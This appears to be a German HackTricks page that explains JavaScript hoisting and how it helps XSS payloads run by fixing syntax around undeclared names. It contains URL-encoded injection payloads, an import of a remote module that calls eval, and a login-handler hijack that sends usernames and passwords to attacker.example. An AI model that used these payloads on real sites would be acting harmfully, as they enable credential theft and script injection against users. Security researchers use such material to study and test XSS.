JS Hoisting

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Basic Information

In der Sprache JavaScript gibt es einen Mechanismus namens Hoisting, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports konzeptionell an den Anfang ihres Scopes gehoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript engine durchgeführt, die das Script in mehreren Durchläufen verarbeitet.

Während des ersten Durchlaufs parsed die engine den Code, prüft auf Syntaxfehler und wandelt ihn in einen abstrakten Syntaxbaum um. Diese Phase umfasst Hoisting, einen Prozess, bei dem bestimmte Deklarationen an den Anfang des Execution Contexts verschoben werden. Wenn die Parse-Phase erfolgreich ist und keine Syntaxfehler vorliegen, setzt die Script-Ausführung ein.

Wichtig zu verstehen ist:

  1. Das Script muss frei von Syntaxfehlern sein, damit eine Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden.
  2. Die Platzierung von Code innerhalb des Scripts beeinflusst die Ausführung durch Hoisting, auch wenn der tatsächlich ausgeführte Code von seiner textuellen Darstellung abweichen kann.

Types of Hoisting

Basierend auf Informationen von MDN gibt es in JavaScript vier verschiedene Arten von Hoisting:

  1. Value Hoisting: Ermöglicht die Nutzung des Wertes einer Variable innerhalb ihres Scopes vor ihrer Deklarationszeile.
  2. Declaration Hoisting: Erlaubt das Referenzieren einer Variable innerhalb ihres Scopes vor ihrer Deklaration, ohne einen ReferenceError auszulösen; der Wert der Variable ist jedoch undefined.
  3. Diese Art verändert das Verhalten innerhalb ihres Scopes, da die Deklaration der Variable vor ihrer tatsächlichen Deklarationszeile liegt.
  4. Die Seiteneffekte der Deklaration treten ein, bevor der restliche Code, der sie enthält, ausgewertet wird.

Im Detail zeigen function declarations das Verhalten von Type 1 Hoisting. Das Schlüsselwort var zeigt Type 2 Verhalten. Lexical declarations, zu denen let, const und class gehören, zeigen Type 3 Verhalten. Schließlich sind import-Statements insofern einzigartig, als sie sowohl Type 1 als auch Type 4 Verhalten aufweisen.

Scenarios

Daher, wenn Sie Szenarien haben, in denen Sie Inject JS code after an undeclared object verwenden können, könnten Sie fix the syntax by declaring it (so your code gets executed instead of throwing an error):

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Weitere Szenarien

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Spätere Deklarationen vorwegnehmen, indem man einen Namen mit const sperrt

Wenn du Code ausführen kannst, bevor eine auf oberster Ebene stehende function foo(){...} geparst wird, verhindert das Deklarieren einer lexikalischen Bindung mit demselben Namen (z. B. const foo = ...), dass die spätere function-Deklaration diesen Bezeichner neu bindet. Dies kann in RXSS ausgenutzt werden, um kritische Handler zu kapern, die später auf der Seite definiert werden:

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Hinweise

  • Dies beruht auf der Ausführungsreihenfolge und dem global (top-level) scope.
  • Wenn dein Payload innerhalb von eval() ausgeführt wird, beachte, dass const/let innerhalb von eval block-scoped sind und keine globalen Bindings erstellen. Injiziere ein neues <script>-Element mit dem Code, um ein echtes globales const zu etablieren.

Quellen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks